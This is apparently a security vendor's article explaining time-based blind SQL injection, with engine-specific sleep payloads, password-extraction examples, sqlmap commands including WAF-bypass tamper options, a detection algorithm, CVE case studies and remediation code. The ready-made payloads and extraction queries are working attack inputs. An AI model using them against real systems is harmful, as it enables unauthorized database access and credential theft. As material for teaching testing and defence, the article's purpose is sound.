Extracts data by causing the database to sleep for a measurable duration, inferring values from response delays.
TL;DR
SLEEP(N) (MySQL), pg_sleep(N) (PostgreSQL), WAITFOR DELAY '0:0:N' (MSSQL)randomblob(N) provides CPU-based delay as substituteTime-based blind SQL injection is the technique of last resort — applied when an application returns identical HTTP responses for all inputs, making both union-based and boolean-differential methods impossible. Instead of encoding information in response content, the attacker encodes a single bit in response latency: inject a conditional sleep function; if the condition is true, the database pauses for a measurable duration; if false, the response arrives immediately.
This technique falls under the inferential (blind) SQLi category in CWE-89. It requires only that the database execute SQL and that the application's HTTP response reflects the total query execution time. The application can return an empty 200, a generic error, or any static content — the timing channel persists regardless.
CVE-2024-43468 (Microsoft SCCM, CVSS 9.8) illustrates the real-world impact. Unauthenticated attackers sent time-based payloads via MSSQL WAITFOR DELAY to confirm injection in the getMachineID endpoint, then escalated through stacked queries to enable xp_cmdshell for full OS command execution. CISA added this to its Known Exploited Vulnerabilities catalog in February 2026. The attack required no credentials and no prior knowledge of the application.
The injection encodes binary information as a delay. A standard conditional sleep uses the database engine's IF/CASE construct: execute SLEEP(N) when the condition is true, execute nothing (or SLEEP(0)) when false. The HTTP client measures the round-trip time and infers the bit value.
MySQL — SLEEP() and BENCHMARK() payloads:
-- Basic sleep (confirm injection)
' AND SLEEP(5)-- -
' OR SLEEP(5)-- -
-- Conditional: sleep only if condition is true
' AND IF(1=1, SLEEP(5), 0)-- -
' AND IF((SELECT COUNT(*) FROM users WHERE username='admin')>0, SLEEP(5), 0)-- -
-- Character extraction: sleep if first char of password is 'a'
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)-- -
-- BENCHMARK() alternative when SLEEP() is filtered
' OR BENCHMARK(10000000, MD5('a'))-- -
'+BENCHMARK(40000000, SHA1(1337))+PostgreSQL — pg_sleep() payloads:
-- Basic sleep
'; SELECT pg_sleep(5)--
'; SELECT pg_sleep(5) FROM DUAL WHERE DATABASE() LIKE '%'--
-- Conditional sleep
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END
FROM users LIMIT 1--
-- Character extraction
'; SELECT CASE WHEN
(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96)
THEN pg_sleep(5) ELSE pg_sleep(0) END--MSSQL — WAITFOR DELAY payloads:
-- Basic delay
'; WAITFOR DELAY '0:0:5'--
'; IF (1=1) WAITFOR DELAY '0:0:5'--
-- Conditional data extraction
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--
'; IF (ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>96)
WAITFOR DELAY '0:0:5'--
-- Fractional second precision (0.51 second)
'; IF (1=1) WAITFOR DELAY '0:0:0.51'--Oracle — dbms_pipe.receive_message():
-- Basic delay (requires EXECUTE on dbms_pipe package)
' OR dbms_pipe.receive_message('a',5)=1--
-- Conditional delay
' AND 1=(SELECT CASE WHEN (1=1)
THEN TO_CHAR(dbms_pipe.receive_message('a',5))
ELSE '1' END FROM dual)--
-- Character extraction
' AND 1=(SELECT CASE WHEN
(SUBSTR((SELECT password FROM users WHERE rownum=1),1,1)='a')
THEN TO_CHAR(dbms_pipe.receive_message('a',5))
ELSE '1' END FROM dual)--SQLite — randomblob() CPU delay (no native sleep function):
-- CPU-intensive delay substitute
' AND LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(150000000/2))))--
' AND randomblob(500000000)-- -
-- Note: delay duration varies significantly with server hardware
-- SQLite is commonly used in embedded applications and mobile backends| Variant | DB Engine | Sleep Function | Alternative |
|---|---|---|---|
| Native sleep | MySQL | SLEEP(N) | BENCHMARK(N, MD5('a')) |
| Native sleep | PostgreSQL | pg_sleep(N) | Dollar-quoting function |
| Native delay | MSSQL | WAITFOR DELAY '0:0:N' | Stacked CPU loop |
| Pipe receive | Oracle | dbms_pipe.receive_message('a',N) | None (requires privilege) |
| CPU randomblob | SQLite | randomblob(N*1000000) | sqlite_master cross join |
| Stack-triggered | MSSQL | Stacked query + WAITFOR | xp_cmdshell sleep |
| ORDER BY injection | Any | sort=1; SLEEP(5)-- | Via sort/order parameters |
The ORDER BY injection vector deserves emphasis. Parameters named sort, order, orderBy, sortBy, column, and dir are injectable in approximately 15% of HackerOne SQL injection reports. Automated scanners that test only WHERE clause parameters miss these consistently.
BreachVex implements a statistical validation algorithm to distinguish genuine time-based injection from slow network conditions or server-side latency. A naive threshold (response time > 5 seconds) produces significant false positives on slow servers and false negatives on fast servers behind load balancers.
4-step proportionality algorithm:
Step 1: Baseline — 3 normal requests → compute mean + standard deviation
Step 2: SHORT payload — SLEEP(2) → measure delta from baseline mean
Step 3: LONG payload — SLEEP(5) → measure delta from baseline mean
Step 4: Proportionality check:
- delta_long / delta_short must stay within tolerance of the 2.5 target
- response_time must clear the baseline mean by a wide statistical margin
- the absolute delay increase must be unambiguous
Confirmation log:
"BlindSQLi CONFIRMED: short=2.14s, long=5.07s, ratio=2.37 (expected 2.5)"The proportionality check is the key discriminator: a genuinely injected SLEEP(5) produces approximately 2.5× the delay of SLEEP(2). A slow server or high-latency network produces constant additional delay regardless of the sleep value — the ratio deviates significantly from 2.5, rejecting the finding as a false positive.
# Proportionality validation
if short_delta > 0.1:
ratio = long_delta / short_delta
expected = 2.5 # SLEEP(5) / SLEEP(2)
tolerance = 0.30 # ±30%
if abs(ratio - expected) / expected <= tolerance:
return {
"name": f"Blind SQL Injection (Time-Based): {param_name}",
"severity": "critical",
"status": "confirmed",
"evidence": (
f"DBMS: {dbms} | Param: {param_name} | "
f"Baseline: {baseline_mean:.3f}s ±{baseline_std:.3f}s | "
f"Short delay (2s): {short_delta:.3f}s | "
f"Long delay (5s): {long_delta:.3f}s | "
f"Ratio: {ratio:.2f} (expected 2.5 ±30%)"
)
}CVE-2024-43468 — Microsoft SCCM (CVSS 9.8, CISA KEV February 2026) — Unauthenticated SQL injection in Microsoft Configuration Manager's MP_Location service. The getMachineID and getContentID functions concatenated user input directly into SQL queries. Synacktiv's published PoC used MSSQL WAITFOR DELAY payloads to confirm injection, then escalated via stacked queries (sp_configure 'xp_cmdshell', 1) to full OS command execution under the high-privilege machine account context. CVSS vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
HackerOne #868436 — Mail.ru / city-mobil.ru ($15,000 bounty) — Time-based SQL injection in the city-mobil.ru fleet management application. The researcher identified blind time-based injection via response delay on a standard parameter, confirmed with SLEEP(5) payloads, and extracted database content using SQLMap with technique B (time-based). The $15,000 bounty reflects the severity of blind injection in a production database with user data.
CVE-2024-8924 — ServiceNow Core Platform (Blind SQLi, 2024) — Unauthenticated blind SQL injection in the ServiceNow Core Platform. Time-based blind techniques were used to confirm and exploit the vulnerability in the enterprise IT service management platform, which stores sensitive organizational data across thousands of enterprise deployments globally.
CVE-2025-25181 — Advantive VeraCore (CISA KEV, March 2025) — Remote unauthenticated SQL injection via the PmSess1 parameter in timeoutWarning.asp. Confirmed active exploitation by threat actors. CISA listed it with a patch deadline of March 31, 2025. Time-based verification was the technique used to confirm arbitrary SQL command execution against the backend database.
' AND SLEEP(5)-- for MySQL targets and observe whether the response takes approximately 5 seconds. Compare with ' AND SLEEP(0)-- which should respond immediately.'; WAITFOR DELAY '0:0:5'-- and measure response time against baseline.'; SELECT pg_sleep(5)-- and observe delay.ORDER BY parameters explicitly: ?sort=name; SLEEP(5)-- or ?order=(CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--.X-Forwarded-For: 1.1.1.1' AND SLEEP(5)-- — headers logged to databases are a common injection vector that automated tools often miss.# Time-based technique targeting
sqlmap -u "https://target.com/search?q=test" \
--technique=T --batch --time-sec=5
# Increase time threshold for slow networks
sqlmap -u "https://target.com/search?q=test" \
--technique=T --batch --time-sec=10
# Header injection testing
sqlmap -u "https://target.com/" \
--headers="X-Forwarded-For: *" \
--technique=T --level=3 --batch
# WAF bypass tamper scripts (Cloudflare)
sqlmap -u "https://target.com/search?q=test" \
--technique=T --tamper=charencode,randomcase,between \
--random-agent --delay=0.5 --batchBreachVex detects time-based injection using the 4-step proportionality algorithm. Probable findings whose delay ratio stays within tolerance of the 2.5 target are confirmed as critical severity and escalated to industry-standard offensive tooling for a deep extraction pass.
Parameterized queries prevent time-based injection by ensuring user input cannot be interpreted as SQL function calls. The sleep function cannot execute because the input is bound as a string literal, not as SQL code.
# Python psycopg2 — SAFE (sleep injection impossible)
cursor.execute(
"SELECT * FROM products WHERE name = %s",
(user_input,) # "' AND SLEEP(5)--" treated as literal string
)
# VULNERABLE — SLEEP() executes as SQL
cursor.execute(f"SELECT * FROM products WHERE name = '{user_input}'")// Java PreparedStatement — SAFE
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE username = ?"
);
stmt.setString(1, username); // WAITFOR DELAY injected here becomes inert literal
// VULNERABLE
Statement stmt = conn.createStatement();
stmt.executeQuery("SELECT * FROM users WHERE username = '" + username + "'");ORDER BY parameters cannot be parameterized — the column name and direction must be embedded in the query string. Use strict allow-listing.
ALLOWED_SORT_COLUMNS = {'name', 'price', 'created_at', 'category'}
ALLOWED_DIRECTIONS = {'ASC', 'DESC'}
def safe_order_by(column, direction):
if column not in ALLOWED_SORT_COLUMNS:
column = 'created_at' # default safe column
if direction.upper() not in ALLOWED_DIRECTIONS:
direction = 'ASC'
return f"ORDER BY {column} {direction}"Time-based injection is the fallback technique when all other channels are blocked. Suppressing error messages and preventing result reflection does not prevent time-based injection — the timing channel persists. Only parameterized queries eliminate the injection vulnerability itself.
Time-based blind SQL injection uses conditional sleep functions to encode a true/false answer as a measurable response delay. If a condition is true, the database pauses for N seconds; if false, it responds immediately. This works even when the application returns identical content for all queries.
MySQL uses SLEEP(N); PostgreSQL uses pg_sleep(N); MSSQL uses WAITFOR DELAY '0:0:N'; Oracle uses dbms_pipe.receive_message('a',N) which requires EXECUTE privilege on dbms_pipe; SQLite uses randomblob(N*1000000) as a CPU-intensive substitute since SQLite has no native sleep function.
BreachVex uses a proportionality check: it sends SLEEP(2) and SLEEP(5) payloads and verifies the ratio of measured delays is approximately 2.5 (±30%). A genuinely slow server produces constant delay regardless of the sleep value. The injected delay scales proportionally with the requested sleep duration.
A minimum of 5 seconds is recommended for production testing. 1-second delays are unreliable due to network jitter. BreachVex sends a short and a long sleep payload and verifies that the measured delays scale proportionally for statistical confirmation.
Yes. BENCHMARK(N, MD5('a')) or BENCHMARK(10000000, SHA1(1337)) causes CPU-intensive computation as a sleep substitute when SLEEP() is filtered. The delay duration depends on server hardware, making it less precise than SLEEP(), but still sufficient for detection when proportionality validation is applied.
CVE-2024-43468 (Microsoft SCCM, CVSS 9.8) involved unauthenticated SQL injection via the getMachineID and getContentID functions. Time-based blind techniques (WAITFOR DELAY) were used to confirm injection before chaining to xp_cmdshell for full OS RCE. CISA added this to KEV in February 2026.
ORDER BY and sort parameters are injectable via time-based techniques: ?sort=1; WAITFOR DELAY '0:0:5'-- on MSSQL, or ?sort=SLEEP(5)-- on MySQL. These parameters are processed after query execution and often bypass input validation focused on WHERE clause injection points.